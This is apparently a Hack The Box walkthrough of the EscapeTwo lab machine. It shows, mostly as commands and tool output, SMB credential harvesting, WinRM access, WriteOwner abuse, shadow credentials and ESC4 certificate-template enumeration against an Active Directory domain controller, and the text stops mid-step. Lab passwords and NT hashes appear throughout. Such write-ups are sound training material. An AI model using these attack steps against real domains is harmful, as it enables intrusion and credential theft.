EscapeTwo is an easy-difficulty machine from Hack The Box dealing initially with exposed sensitive data over SMB shares that’s allow us to abuse a privileged access to an MSSQL server where we’ll exfiltrate even more credentials and get our user flag. We’ll finally abuse WriteOwner on a ADCS service account that’ll allow us to abuse shadow credentials alongside ESC4 to land an Administrator access.
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-1209:28:31Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T09:29:52+00:00; +6m54s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T09:29:52+00:00; +6m54s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 1433/tcp open ms-sql-s Microsoft SQL Server 201915.00.2000.00; RTM |_ssl-date: 2025-01-12T09:29:52+00:00; +6m54s from scanner time. |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) |_ms-sql-info: ERROR: Script execution failed (use -d to debug) | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-01-12T09:27:41 |_Not valid after: 2055-01-12T09:27:41 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T09:29:52+00:00; +6m54s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-01-12T09:29:52+00:00; +6m54s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in115.59 seconds
We can see that we have our usual AD DC ports, a suspicious 1433 MSSQL port and SMB access. Let’s first start with SMB as we are provided credentials for access:
SMB Access - accounts.xslx
Using our assumed breach user rose, we are able to list SMB shares:
Sharename Type Comment --------- ---- ------- Accounting Department Disk ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share SYSVOL Disk Logon server share Users Disk Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.129.68.137 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ┌──(kali㉿kali)-[~] └─$ smbclient "//10.129.68.137/Accounting Department" -U rose%KxEPkKe6R8su Try "help" to get a list of possible commands. smb: \> ls . D 0 Sun Jun 9 12:52:21 2024 .. D 0 Sun Jun 9 12:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 12:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 12:52:07 2024
6367231 blocks of size 4096. 900326 blocks available smb: \> get accounting_2024.xlsx getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (27.6 KiloBytes/sec) (average 27.6 KiloBytes/sec) smb: \> get accounts.xlsx getting file \accounts.xlsx of size 6780 as accounts.xlsx (15.5 KiloBytes/sec) (average 21.1 KiloBytes/sec) smb: \>
We can see a couple interesting xslx files that we get on our machine, on the accounts.xslx file, we can find some users credentials:
1 2 3 4
- angela : 0fwz7Q4mSpurIt99 - oscar : 86LxLBMgEWaKUnBG - kevin : Md9Wlq1E5bZnVDVo - sa : `MSSQLP@ssw0rd!`
One really interesting thing is the sa (system admin) account from MSSQL with is a default sysadmin on MSSQL:
We can now use the sa account to authenticate against the MSSQL server, we can do so using mssqlclient and executing a reverse shell script directly to get access to the system:
We can directly connect with ryan and grep our user flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(kali㉿kali)-[~] └─$ evil-winrm -u ryan -p WqSZAF6CysDQbGb3 -i 10.129.68.137 Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\ryan\Documents> cd ../desktop *Evil-WinRM* PS C:\Users\ryan\desktop> cat user.txt 047bd3b5bf5b32b3d768c6199b070a81 *Evil-WinRM* PS C:\Users\ryan\desktop>
Privilege Escalation - Shadow Credentials
Ryan access
We can see from bloodhound that we can run like this:
┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$ bloodhound-python -u rose -p KxEPkKe6R8su -d sequel.htb -ns 10.129.68.137 --zip /usr/lib/python3/dist-packages/bloodhound/ad/utils.py:115: SyntaxWarning: invalid escape sequence '\-' xml_sid_rex = re.compile('<UserId>(S-[0-9\-]+)</UserId>') INFO: Found AD domain: sequel.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: dc01.sequel.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Found 10 users INFO: Connecting to LDAP server: dc01.sequel.htb INFO: Found 59 groups INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.sequel.htb INFO: Done in 00M 10S INFO: Compressing output into 20250112102408_bloodhound.zip ┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$
That Ryan has WriteOwner on ca_svc. So we can first make ryan owner of ca_svc, add FullControl to him and finally add ShadowCredentials on the DC machine:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$ bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p WqSZAF6CysDQbGb3 set owner ca_svc ryan
[*] Old Security Descriptor: O:S-1-5-21-548670397-972687484-3496335370-512 [+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc ┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$ python3 dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc''sequel.htb'/'ryan':'WqSZAF6CysDQbGb3'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250112-104154.bak [*] DACL modified successfully! ┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$
Now we’ll use BloodAD to add shadow credentials and get ca_svc hash:
[*] Targeting user 'ca_svc' [*] Generating certificate [*] Certificate generated [*] Generating Key Credential [*] Key Credential generated with DeviceID '4b107f50-565a-28ae-463e-88028bbb07d0' [*] Adding Key Credential with device ID '4b107f50-565a-28ae-463e-88028bbb07d0' to the Key Credentials for'ca_svc' [*] Successfully added Key Credential with device ID '4b107f50-565a-28ae-463e-88028bbb07d0' to the Key Credentials for'ca_svc' [*] Authenticating as 'ca_svc' with the certificate [*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'ca_svc.ccache' [*] Trying to retrieve NT hashfor'ca_svc' [*] Restoring the old Key Credentials for'ca_svc' [*] Successfully restored the old Key Credentials for'ca_svc' [*] NT hashfor'ca_svc': 3b181b914e7a9d5508ea1e20bc2b7fce ┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$
ADCS Abuse - ESC4
We can now use ca_svc to look for vulnerable certificates using certipy:
[+] Domain retrieved from CCache: SEQUEL.HTB [+] Username retrieved from CCache: ca_svc [+] Trying to resolve 'dc01.sequel.htb' at '10.129.68.137' [+] Authenticating to LDAP server [+] Using Kerberos Cache: ca_svc.ccache [+] Using TGT from cache [+] Username retrieved from CCache: ca_svc [+] Getting TGS for'host/dc01.sequel.htb' [+] Got TGS for'host/dc01.sequel.htb' [+] Bound to ldap://10.129.68.137:389 - cleartext [+] Default path: DC=sequel,DC=htb [+] Configuration path: CN=Configuration,DC=sequel,DC=htb [+] Adding Domain Computers to list of current user's SIDs [+] List of current user's SIDs: SEQUEL.HTB\Domain Computers (S-1-5-21-548670397-972687484-3496335370-515) SEQUEL.HTB\Denied RODC Password Replication Group (S-1-5-21-548670397-972687484-3496335370-572) SEQUEL.HTB\Cert Publishers (S-1-5-21-548670397-972687484-3496335370-517) SEQUEL.HTB\Users (SEQUEL.HTB-S-1-5-32-545) SEQUEL.HTB\Domain Users (S-1-5-21-548670397-972687484-3496335370-513) SEQUEL.HTB\Everyone (SEQUEL.HTB-S-1-1-0) SEQUEL.HTB\Authenticated Users (SEQUEL.HTB-S-1-5-11) SEQUEL.HTB\Certification Authority (S-1-5-21-548670397-972687484-3496335370-1607) [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [+] Trying to resolve 'DC01.sequel.htb' at '10.129.68.137' [*] Trying to get CA configuration for'sequel-DC01-CA' via CSRA [+] Trying to get DCOM connection for: 10.129.68.137 [+] Using Kerberos Cache: ca_svc.ccache [+] Using TGT from cache [+] Username retrieved from CCache: ca_svc [+] Getting TGS for'host/DC01.sequel.htb' [+] Got TGS for'host/DC01.sequel.htb' [!] Got error while trying to get CA configuration for'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for'sequel-DC01-CA' via RRP [+] Using Kerberos Cache: ca_svc.ccache [+] Using TGT from cache [+] Username retrieved from CCache: ca_svc [+] Getting TGS for'host/DC01.sequel.htb' [+] Got TGS for'host/DC01.sequel.htb' [!] Failed to connect to remote registry. Service should be starting now. Trying again... [+] Connected to remote registry at 'DC01.sequel.htb' (10.129.68.137) [*] Got CA configuration for'sequel-DC01-CA' [+] Resolved 'DC01.sequel.htb' from cache: 10.129.68.137 [+] Connecting to 10.129.68.137:80 [*] Enumeration output: Certificate Authorities 0 CA Name : sequel-DC01-CA DNS Name : DC01.sequel.htb Certificate Subject : CN=sequel-DC01-CA, DC=sequel, DC=htb Certificate Serial Number : 152DBD2D8E9C079742C0F3BFF2A211D3 Certificate Validity Start : 2024-06-08 16:50:40+00:00 Certificate Validity End : 2124-06-08 17:00:40+00:00 Web Enrollment : Disabled User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Permissions Owner : SEQUEL.HTB\Administrators Access Rights ManageCertificates : SEQUEL.HTB\Administrators SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins ManageCa : SEQUEL.HTB\Administrators SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Enroll : SEQUEL.HTB\Authenticated Users Certificate Templates 0 Template Name : DunderMifflinAuthentication Display Name : Dunder Mifflin Authentication Certificate Authorities : sequel-DC01-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : False Certificate Name Flag : SubjectRequireCommonName SubjectAltRequireDns Enrollment Flag : AutoEnrollment PublishToDs Private Key Flag : 16842752 Extended Key Usage : Client Authentication Server Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Validity Period : 1000 years Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Permissions Enrollment Permissions Enrollment Rights : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins Object Control Permissions Owner : SEQUEL.HTB\Enterprise Admins Full Control Principals : SEQUEL.HTB\Cert Publishers Write Owner Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator SEQUEL.HTB\Cert Publishers Write Dacl Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator SEQUEL.HTB\Cert Publishers Write Property Principals : SEQUEL.HTB\Domain Admins SEQUEL.HTB\Enterprise Admins SEQUEL.HTB\Administrator SEQUEL.HTB\Cert Publishers [!] Vulnerabilities ESC4 : 'SEQUEL.HTB\\Cert Publishers' has dangerous permissions
ESC4 is when there are weak access controls on a certificate template. We can see that the Certificate Publishers has full control over the Dunder Mifflin Authentication template.
1 2 3 4 5 6 7
┌──(kali㉿kali)-[~/Hackthebox/escapetwo] └─$ certipy-ad template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip 10.129.68.137 Certipy v4.8.2 - by Oliver Lyak (ly4k)